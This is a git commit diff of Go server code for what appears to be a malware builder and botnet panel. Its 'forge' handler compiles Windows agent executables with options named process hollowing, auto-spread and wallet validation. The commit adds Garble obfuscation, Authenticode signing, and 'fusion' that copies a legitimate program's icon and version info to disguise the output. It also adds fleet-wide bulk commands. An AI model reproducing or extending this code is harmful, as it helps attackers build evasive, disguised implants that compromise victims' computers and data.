Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -65,6 +65,8 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
}
type BuildResponse struct {
@@ -82,6 +84,8 @@ type BuildResponse struct {
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -91,12 +95,24 @@ type Handler struct {
agentSrcDir string
projectRoot string
goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
return &Handler{
h := &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
h.resolveToolPaths(projectRoot)
return h
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath := outputPath
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
}
}
signed := false
if h.shouldSignBuild(req) {
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}, http.StatusOK, finalPath
}